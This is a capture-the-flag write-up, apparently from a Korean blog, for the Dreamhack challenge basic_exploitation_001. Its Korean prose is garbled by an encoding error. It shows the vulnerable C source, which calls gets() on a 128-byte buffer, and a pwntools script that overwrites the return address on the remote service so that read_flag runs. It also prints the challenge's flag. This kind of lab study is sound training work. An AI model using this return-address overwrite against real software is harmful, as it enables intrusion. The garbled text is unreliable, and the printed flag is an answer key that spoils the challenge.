basic_exploitation_001
๋ฌธ์ ํ์ด
์ ๋ค์ด๊ฐ๊ธฐ ์ ์ ๋ฌธ์ ๊ฐ ๋ฐ์ํ์ต๋๋ค..
๋ฐ๋ก NX๊ฐ ์ ์ฉ๋ ์ฝ๋๋ผ๋ ๊ฒ์ด์ฃ
์ฐธ๊ณ ๋ก 32-little endian linux์ด๊ณ ์ ๊ทธ๋ผ ๋ค์ด๊ฐ๊ธฐ ์์จ์ NX์ ๋ํด ์์๋ด์ผ๊ฒ ์ฃ ?
NX(Bit | MS : DEP)
NX-Bit(Never eXecute Bit; ์คํ ๋ฐฉ์ง ๋นํธ)
- ํ๋ก์ธ์ค ๋ช ๋ น์ด๋ ์ฝ๋ ๋๋ ๋ฐ์ดํฐ ์ ์ฅ์ ์ํ ๋ฉ๋ชจ๋ฆฌ ์์ญ ๋ถ๋ฆฌ CPU์ ๊ธฐ์
- NX ํน์ฑ์ผ๋ก ์ง์ ๋ ๋ชจ๋ ๋ฉ๋ชจ๋ฆฌ ๊ตฌ์ญ์ ๋ฐ์ดํฐ ์ ์ฅ์ ์ํด์๋ง ์ฌ์ฉ๋จ
- ํ๋ก์ธ์ค ๋ช ๋ น์ด๊ฐ ๊ทธ๊ณณ์ ์์ฃผํ์ง ์๊ฒ ์คํ์์ผ์ค
DEP(Data Execution Prevention)
- MS windows OS์ ํฌํจ๋ ๋ณด์ ๊ธฐ๋ฅ์ด๋ฉฐ, ์ ์์ ์ฝ๋ ์คํ ๋ฐฉ์ง๋ฅผ ์ํ ๋ฉ๋ชจ๋ฆฌ ํ์ธ ๊ธฐ์
- DEP๋ ๋ ๊ฐ์ง ๋ชจ๋๋ก ์คํ๋จ
+ HW DEP : ๋ฉ๋ชจ๋ฆฌ ๋ช ์์ ์คํ ์ฝ๋ ํฌํจ ๊ฒฝ์ฐ ์ ์ธํ๊ณ ๋ชจ๋ ํ๋ก์ธ์ค ๋ฉ๋ชจ๋ฆฌ ์์น ์คํX
= ๋๋ถ๋ถ ์ต์ ํ๋ก์ธ์๋ HW ์ ์ฉ DEP๋ฅผ ์ง์
+ SW DEP : CPU๊ฐ HW DEP๋ฅผ ์ง์ํ์ง ์์ ๊ฒฝ์ฐ ์ฌ์ฉ
์ด๋ ๊ฒ ๋ณผ ์ ์์ต๋๋ค.๋ ์์ธํ๋ ๋์ค์... ๊ธฐ์ฌํ๊ฒ ์ต๋๋ค ๋๊ธ๋ก ๋
์ดํด์ฃผ์ธ์
๊ทธ๋ผ ๊ฐ๋จํ๊ฒ ์์์ผ๋ฏ๋ก ์ฆ ์์ฝ๋๊ฐ ์คํ์ด ๋๋ ๋ถ๋ถ์ ์ฐพ์์ผํ๋ค๋ ์ด์ผ๊ธฐ!
๊ทธ๋ผ ์ฝ๋๋ฅผ ํ์ธํ๋ฉด์ ๋ด๋ณผ๊น์?
//file name : basic_exploitation_001.c
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void read_flag() { //NX - Bit ์ฐํ ๊ฐ๋ฅ
system("cat /flag");
}
int main(int argc, char *argv[]) {
char buf[0x80]; //128 byte
initialize();
gets(buf); //vuln code
return 0;
}
์ gets๊ฐ ์ทจ์ฝ ์ฝ๋์ฃ ๊ทธ ์ด์ ๊ฐ ๊ถ๊ธํ๋ค๋ฉด..
NX ๋ณดํธ๊ธฐ๋ฒ์ด ์๊ธฐ์ ์ ๋ฐ ํจ์๋ฅผ ์ด์ฉํด์ผํ๋ฏ๋ก ์ฃผ์๋ฅผ ์์๋ด์ด
RET๋ฅผ ์ ํจ์์ ์ฃผ์๋ก ์์ ํ๋ฉด flag๋ฅผ ์ป์ ์ ์๊ฒ ๋ค์ ใ
info funtions๋ฅผ ์ด์ฉํ๊ฑฐ๋ ์๋ printํด์ ์ฃผ์๋ฅผ ํ์ธํ ์ ์์ฃ
๋ญ ๋ฑํ ๋ถ์ํ ์ฝ๋๋ ์๋๊ณ ์ด์ ์ ์น์ ํ๊ฒ ์์ธํ ํ์ผ๋ฏ๋ก ์ ๋ชจ๋ฅด๊ฒ ๋ค๋ฉด..
์ด์งํผ ๋ญ BOF ์ข ๋ฅ๋๊น์ ์.. ๋ฉด๋ฐํ๊ฒ ๋ณด๋ฉด ์ ๋งํฌ๋ ๊ด๋ จ์ด ์์ ์ ์์ง๋ง..
๊ทธ๋ผ pwntools๋ฅผ ์ฌ์ฉํด ์ฝ๋๋ฅผ ์์ฑํด๋ณผ๊น์?
#file : exploit.py
from pwn import *
context.log_level='debug'
#p = process('basic_exploitation_001')
p = remote('host1.dreamhack.games', '9014')
e = ELF('basic_exploitation_001')
read_addr = 0x80485b9
shellcode = b'A'*128
shellcode += b'B'*0x4
shellcode += p32(read_addr)
p.sendline(shellcode)
p.interactive()
๋ญ ์ด์ ๋ ๋ถ์ํ ํ์์์ฃ ?
๊ทธ๋ผ ์ต์คํ๋ก์์ ์งํํ๋ฉด..
DH{01ec06f5e1466e44f86a79444a7cd116}
์ฐธ๊ณ ์๋ฃ
์ฐธ๊ณ ์ด๋ฏธ์ง
'๐โSystem_Study > ๐โDreamhack_Hacking' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
Exploit Tech: Return to Shellcode (0) | 2022.05.03 |
---|---|
Mitigation: Stack Canary (0) | 2022.04.28 |
basic_exploitation_000 (0) | 2022.04.27 |
Exploit Tech: Return Address Overwrite (0) | 2022.04.27 |
Return Address Overwrite (0) | 2022.04.25 |